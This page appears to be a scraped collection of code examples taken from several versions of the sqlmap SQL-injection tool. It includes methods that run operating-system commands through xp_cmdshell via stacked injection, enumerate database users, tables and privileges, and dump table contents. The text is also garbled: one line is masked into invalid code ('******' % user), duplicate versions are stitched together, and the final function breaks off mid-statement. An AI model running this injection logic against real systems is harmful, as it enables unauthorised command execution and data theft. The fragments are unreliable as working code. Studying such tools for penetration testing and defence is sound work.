Ejemplo n.º 1
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                output = inject.getValue(query, resumeValue=False, blind=False)
            else:
                output = []
                count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(inject.getValue(query, inband=False, error=False, resumeValue=False))
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                if not output[0].strip():
                    output = output[1:]
                elif not output[-1].strip():
                    output = output[:-1]

        return output
Ejemplo n.º 2
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Ejemplo n.º 3
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))

            # When user provides DBMS credentials (with --dbms-cred), the
            # command standard output is redirected to a temporary file
            # The file needs to be copied to the support table,
            # 'sqlmapoutput'
            if conf.dbmsCred:
                inject.goStacked(
                    "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
                    % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))
                )
                self.delRemoteFile(self.tmpFile)

            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)

            if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
                output = inject.getValue(query, resumeValue=False, blind=False, time=False)
            else:
                output = []
                count = inject.getValue(
                    "SELECT COUNT(*) FROM %s" % self.cmdTblName,
                    resumeValue=False,
                    union=False,
                    error=False,
                    expected=EXPECTED.INT,
                    charsetType=CHARSET_TYPE.DIGITS,
                )

                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(inject.getValue(query, union=False, error=False, resumeValue=False))

            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                if not (output[0] or "").strip():
                    output = output[1:]
                elif not (output[-1] or "").strip():
                    output = output[:-1]

                output = "\n".join(line for line in filter(None, output))

        return output
Ejemplo n.º 4
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except sqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if conf.excludeSysDbs:
                    query += " WHERE "
                    query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                    infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                    logger.info(infoMsg)
                elif not Backend.isDbms(DBMS.SQLITE):
                    query += " WHERE %s" % condition
                    query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)

            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                value = filter(None, arrayizeValue(value))

                if len(value) > 0 and not isListLike(value[0]):
                    value = map(lambda x: (dbs[0], x), value)

                for db, table in filterPairValues(value):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(table, True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = inject.getValue(query, union=False, error=False)
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            else:
                raise sqlmapNoneDataException, errMsg
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Ejemplo n.º 5
0
    def getPrivileges(self, query2=False):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
                else:
                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = "trying with table USER_SYS_PRIVS"
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == "Y":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in ("Y", "G"):
                                            for position, db2Priv in DB2_PRIVS.items():
                                                if position == i:
                                                    privilege += ", " + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "LIKE"
            else:
                conditionChar = "="

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = "******" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = "fetching number of privileges "
                    infoMsg += "for user '%s'" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
                            infoMsg = "trying with table USER_SYS_PRIVS"
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "privileges for user '%s'" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = "fetching privileges for user '%s'" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user,)
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += ", " + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)
Ejemplo n.º 6
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(filter(None, columns.keys()))

                if conf.excludeCol:
                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                colNames = colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table, colList, blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = whereQuery(query)

                    if not entries and query:
                        entries = inject.getValue(query, blind=False, time=False, dump=True)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, basestring):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
                                maxLen = max(len(column), _)

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table, colList, count, blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
                                                                        tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
                                                                        index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)

                                    query = whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
                                    lengths[column] = max(lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
